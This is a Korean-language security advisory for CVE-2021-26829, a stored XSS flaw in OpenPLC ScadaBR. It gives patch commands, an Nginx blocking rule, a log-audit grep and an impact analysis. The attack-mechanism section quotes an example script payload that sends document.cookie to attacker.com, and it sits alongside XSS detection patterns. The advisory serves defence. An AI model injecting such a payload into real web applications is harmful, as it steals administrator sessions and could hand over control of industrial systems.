OpenPLC ScadaBR 저장형 크로스 사이트 스크립팅(Stored XSS) 취약점 (CVE-2021-26829) 보안 권고
실무자 핵심 요약 (Executive Summary)
SECOPS ASSESSMENTLinux 환경의 OpenPLC ScadaBR 0.9.1 이하 버전 및 Windows 환경의 1.12.4 이하 버전
공격자가 시스템 설정 페이지(system_settings.shtm)를 통해 악성 스크립트를 영구적으로 삽입하여, 관리자 세션 탈취 및 SCADA 제어 권한을 획득할 수 있습니다
최신 패치 버전을 적용하거나, 웹 애플리케이션 방화벽(WAF)을 통해 입력값 검증 규칙을 강화하고 불필요한 외부 접근을 차단하십시오
영향받는 제품 및 버전 범위
권장 패치 및 임시 완화(Workaround) 가이드
패치 및 우회 명령어1. 공식 보안 패치 및 버전 업그레이드 명령어
ScadaBR 개발사 및 OpenPLC 커뮤니티에서 제공하는 최신 보안 패치 버전으로 업그레이드를 수행해야 합니다. 아래는 Linux 환경에서 최신 소스코드를 받아 재빌드하거나 업데이트하는 예시 명령어입니다.
# OpenPLC / ScadaBR 디렉토리로 이동 후 최신 소스코드 가져오기
cd /opt/OpenPLC_v3
git pull origin main
# ScadaBR 관련 업데이트 스크립트 실행 또는 재빌드 수행
sudo ./install.sh2. 패치 전 임시 완화(Workaround) 및 접근 제어 설정
즉각적인 패치가 어려운 경우, 리버스 프록시(Nginx) 또는 웹 애플리케이션 방화벽(WAF)을 ScadaBR 전면에 배치하여 system_settings.shtm으로 향하는 요청 중 스크립트 태그가 포함된 파라미터를 차단하도록 설정합니다.
# Nginx 리버스 프록시 설정 예시 (XSS 공격 패턴 차단)
server {
listen 80;
server_name scadabr.local;
location / {
# 요청 URI 또는 바디에 스크립트 태그가 포함되어 있는지 검사
if ($request_uri ~* '(<|%3C).*script.*(>|%3E)') {
return 403 'Potential XSS Attack Detected';
}
proxy_pass http://127.0.0.1:8080;
}
}3. 침해 흔적(IoC) 및 로그·버전 점검 스크립트
ScadaBR의 웹 서버 로그(Tomcat 또는 Jetty 로그)에서 system_settings.shtm에 대한 POST 요청 중 특수문자(<, >, script)가 포함된 이력이 있는지 점검합니다.
# Tomcat 액세스 로그에서 system_settings.shtm 관련 XSS 페이로드 인입 여부 감사
grep -i 'system_settings.shtm' /var/log/tomcat*/localhost_access_log*.txt | grep -E '(<|%3C|script|%73%63%72%69%70%74)'코드 수정 전에도 가상 패치(Virtual Patching)로 웹 공격을 즉시 차단하세요
서버 재시작이나 긴급 패치가 어려운 운영 환경이라면 클라우드 WAF 관리형 룰셋을 활성화하여 SQLi, RCE, XSS 익스플로잇 페이로드를 엣지에서 1분 만에 차단할 수 있습니다.
취약점 발생 원리 및 공격 메커니즘
1. 취약점 개요 및 발생 원인 (Root Cause)
본 취약점(CVE-2021-26829)은 OpenPLC ScadaBR의 시스템 설정 페이지인 system_settings.shtm에서 발생하는 저장형 크로스 사이트 스크립팅(Stored XSS) 취약점입니다. 시스템 설정 입력 필드에 사용자가 입력한 데이터에 대해 적절한 필터링이나 HTML 엔티티 인코딩(Sanitization)을 수행하지 않고 데이터베이스에 저장한 후, 다른 사용자가 해당 페이지를 조회할 때 브라우저에서 그대로 렌더링하면서 발생합니다.
2. 공격 메커니즘 및 익스플로잇 시나리오
낮은 권한을 가진 공격자 또는 시스템 설정 변경 권한이 있는 계정을 탈취한 공격자가 system_settings.shtm 내의 특정 설정 필드에 악성 자바스크립트 페이로드(예: <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>)를 입력하여 저장합니다. 이후 보안 관리자나 상위 권한을 가진 사용자가 해당 설정 페이지에 접근하는 순간, 저장되어 있던 악성 스크립트가 관리자의 브라우저 컨텍스트에서 자동으로 실행됩니다. 이를 통해 관리자의 세션 토큰(Cookie)을 탈취하거나, 관리자 권한으로 SCADA 시스템 내의 PLC 제어 명령을 임의로 전송하는 등의 2차 피해로 이어질 수 있습니다.
3. 비즈니스 및 인프라 파급 영향
ScadaBR은 산업용 제어 시스템(ICS/OT) 환경에서 PLC(Programmable Logic Controller)를 모니터링하고 제어하는 데 사용되는 핵심 SCADA 소프트웨어입니다. 본 취약점은 CISA KEV(Known Exploited Vulnerabilities) 목록에 등재될 만큼 실제 위협 행위자들에 의해 악용된 이력이 있는 고위험군 취약점입니다. 공격자가 SCADA 관리자 권한을 획득할 경우, 실제 물리적 설비의 오작동을 유발하거나 공정 데이터를 조작하여 제조 라인 중단, 설비 파손 등 비즈니스 연속성에 치명적인 물리적·재정적 피해를 초래할 수 있습니다.
공식 보안 권고문 및 참조 링크
OpenPLC ScadaBR through 0.9.1 on Linux and through 1.12.4 on Windows allows stored XSS via system_settings.shtm.
자주 묻는 실무 질문 (FAQ — CVE-2021-26829)
FAQQ1. CVE-2021-26829 취약점의 위험도와 실제 악용 가능성은 어느 정도입니까?
CVE-2021-26829의 기본 점수는 CVSS 5.4 (MEDIUM)이며, 향후 30일 내 실제 악용 확률을 나타내는 EPSS 점수는 48.0%입니다. 현재 미국 CISA KEV(실제 악용이 확인된 취약점 카탈로그)에 등재되어 있으므로 최우선 긴급 패치가 필요합니다.
Q2. CVE-2021-26829에 영향을 받는 벤더와 제품은 무엇입니까?
주요 영향 벤더는 openplc이며, 대상 컴포넌트는 scadabr입니다. 상세 영향 범위: Linux 환경의 OpenPLC ScadaBR 0.9.1 이하 버전, Windows 환경의 OpenPLC ScadaBR 1.12.4 이하 버전
Q3. 서버 재기동이나 정규 패치 전 즉시 적용할 수 있는 완화 조치(Workaround)는 무엇입니까?
[권장 조치] 최신 패치 버전을 적용하거나, 웹 애플리케이션 방화벽(WAF)을 통해 입력값 검증 규칙을 강화하고 불필요한 외부 접근을 차단하십시오 본문의 패치 및 우회 명령어 섹션과 자가 점검 체크리스트를 참고하여 외부 노출 포트를 차단하거나 WAF 탐지 규칙을 선적용하십시오.
CVE-2021-26829 사내 보안 패치 공지문 · CISO 경영진 보고서 초안 자동 생성
클릭 한 번으로 사내 이메일·노션·결재 문서에 바로 붙여넣을 수 있는 공식 보고서 양식을 생성합니다.
🔗 함께 점검해야 할 동일 벤더·스택 연관 취약점 (openplc)
동일 카테고리 전체 보기 →Microsoft Exchange Server 교차 사이트 스크립팅(XSS) 및 스푸핑 취약점 보안 권고 (CVE-2026-42897)
[영향 대상] Microsoft Exchange Server 전체 온프레미스 환경.
CVE-2026-120114 보안 취약점 기술 분석 및 패치 권고 (CVSS 7.2)
[영향 대상] CVE-2026-120114 영향을 받는 버전을 운영 중인 인프라 및 서비스 환경
WooCommerce PDF Invoices & Packing Slips 플러그인 저장형 XSS 취약점 (CVE-2026-107750) 보안 권고
[영향 대상] WordPress WooCommerce PDF Invoices & Packing Slips 플러그인 5.16.4 이하 전 버전
WordPress SureCart 플러그인 Stored XSS 취약점 (CVE-2026-107653) 보안 권고
[영향 대상] WordPress SureCart 플러그인 4.9.4 이하 버전 전체
일간 취약점 브리핑 및 긴급 Zero-Day 경보 구독
보안 실무자와 인프라·백엔드 엔지니어를 위해 매일 아침 주요 취약점과 패치 우선순위를 요약해 발송합니다.